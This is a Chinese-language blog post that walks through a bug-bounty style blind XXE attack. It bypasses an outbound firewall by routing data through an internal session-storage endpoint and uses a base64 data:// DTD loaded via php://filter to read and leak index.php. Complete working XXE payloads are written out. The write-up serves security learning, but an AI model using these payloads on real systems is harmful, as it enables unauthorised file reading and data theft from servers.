2019年9月26日星期四

XXE漏洞注入原理探索----实践篇

Exploiting 带外管理(out-of-band)的XXE通过使用内部网络和php协议封装

这次对带外管理的XXE的利用是通过防火墙拥堵所有请求包括DNS查询,接下来是整个故事:

我像往常一样在一次hacking之夜,当我进入目标应用,我遇到一个点看起来接收一个XML参数,但是他是加密的。后来我发现传给后端的XML数据是在客户端加密的,且加密是在发送http请求之前进行加密的,这意味着xml数据可能没有在后端进行合适的验证,所以我尝试去构造他使他可以被注入我们自己的XXE payload。所以我最先尝试的就是去找到被用于加密XML的JavaScript函数,然后在对自己的XML payload进行相同的操作,但是,应用的JavaScript被Webpack压缩的了使得他很难去阅读和追踪函数。为了避免纠结寻找JavaScript加密函数,我决定通过Google的开发者工具加入一个断点,他允许我改变xml数据在他被加密函数进行处理之前。

因此,我可以发送我自己的XML数据,所以我开始在自己的服务器上监听一个端口,同时发送一些常见的XXE payload来看看解析器是否尝试来我的服务器上请求任何的数据。然而,后端用了极长时间去加载然后返回了一个错误:“Error while parsing XML”,但是当我尝试设置外部实体URL为“http://localhost/“,服务器返回的很快但是没有返回任何数据。通过这点,我意识到了一定有一个防火墙在阻止到外部服务器的请求,所以我第一反应是尝试不同的端口但是没有一个起到了作用,所以我尝试是否可以通过DNS绕过,但是DNS查询同样被防火墙阻止,我的没有收到任何的数据。

所以,现在我有一个XXE但是除了扫描内部网络来寻找开放端口外,我什么也做不了,这使得着是一个有效的XXE但是由于防火墙的阻挡对外部的请求导致他的影响并不是很大,但是,因为防火墙不足阻挡对内部网络的请求,而且应用实际是可访问内部的,因为当我添加”http://target/“作为外部实体引用的时候服务器响应的很快,我有了一个想法:找到一个不需要cookie进行身份验证的地方,通过控制GET参数来更改或添加应用程序公开出来的内容。这非常适合应用程序的工作方式,因为大多数点实际并没有进行cookie身份验证,而是使用SID参数(用户会话的SID)来认证身份

想到了这一点,我不断寻找这样一个包含了三个参数sid,key,和val的地方,然后他将保存包括key和val参数到分配给用户的会话ID中,我们就可以通过这些数值在稍后访问后端

所以现在思路变成了发送一个GET请求到:http://target/endpoint.php?sid=[session_id]&key=xxe&val=test 
然后确认同样的后端,看看xxe和test有没有被加入,所以我发送了如下的XXE payload:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=test">
]>
<paramlimits>
<component name="L1" min="2" max="100">&xxe;</component>
</paramlimits>
然后,当导航到http://target/endpoint.php?sid = [session_id]时,我发现实际上已添加了值,这意味着服务器在内部获取了实体并将GET请求发送到提供的后端。

事情开始变得清晰起来了,但是当我去证明XXE的存在时,我想做的更进一步,看看我能不能读取一些本地文件

为了读取本地文件,我们需要创造一个参数实体匹配文件,然后用用第一个参数实体作为val参数的值,为了做到这一点,我不的不用一个外部的DTD文件,但是,由于实际有一个防护墙在阻挡任何像外部的请求所以不可能让XML解析器去从我的服务器上匹配任何的外部实体。

我不断思考一种方法绕过防火墙,一个想法是在应用中找到一个后端允许我上传文件,然后我上传我自己的DTD,但是应用没有能上传文件的样子,我几乎快放弃这个想法了,但是我突然记起应用是用PHP构建的,所以我可以使用php://伪协议去从data://URL获取资源,这会返回一个用户自定义的DTD文件,这是我的外部DTD的URL的样子:

php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+

当解析器尝试去找到他时,他将会得到:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///D:/path/index.php">
<!ENTITY % param1 '<!ENTITY exfil SYSTEM "http://target/endpoint.php?sid=[session_id]&#38;key=xxe&#38;val=%data;">'>
同时我还使用了php://filter/convert.base64-encode/ 来使文件更容易找到,所以最后的payload是这样的:
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+"> %sp; %param1;
]>
<paramlimits>
<component name="L1" min="2" max="100">&exfil;</component>
</paramlimits>
然后当我访问http://target/endpoint.php?sid=[session_id],我惊喜的发现我找到了index.php文件的base64编码,oh YES!


OK,这就是整个流程,我们来回忆一下这个过程,首先,我们访问目标网站时,发现了一个后端会接收前端传过来的加密的XML,这时我们第一想法是逆向加密算法然后上传自己的DTD文件,但是由于算法比较难跟,直接用开发者工具改变XML数据,接着我们发现防火墙阻拦内部对外部的访问,导致我们还是无法上传自己DTD,这时,这个XXE漏洞只能用于内部端口的扫描,而且不不回显数据,所以影响并不大,这时候我们就想怎么去使数据回显,也就是我们要找到一个有数据是公开的,且不需要cookie验证的,想到了使用session ID的方法,将数据通过值回显,我们找到一个php页面会返回我们传进去的值,这就好了,数据回显,XXE证明完成。
这时,我们可以更进一步的证明其危害----本地文件读取,通过php伪协议来写入自己的DTD实现本地文件的读取,hacking 结束



今日分享:
永远年轻,永远热泪盈眶
加油~想想现在的自己,可以无忧无虑的干着自己热爱的事情,真的好幸福啊




没有评论:

发表评论

XSS速查表

今天继续XSS的进一步学习,以下内容转载自Freebuf上的文章,原文章来自OWASP的xss备忘录 1.介绍 这篇文章的主要目的是给专业安全测试人员提供一份跨站脚本漏洞检测指南。文章的初始内容是由RSnake提供给 OWASP,内容基于他的XSS备忘录: http://...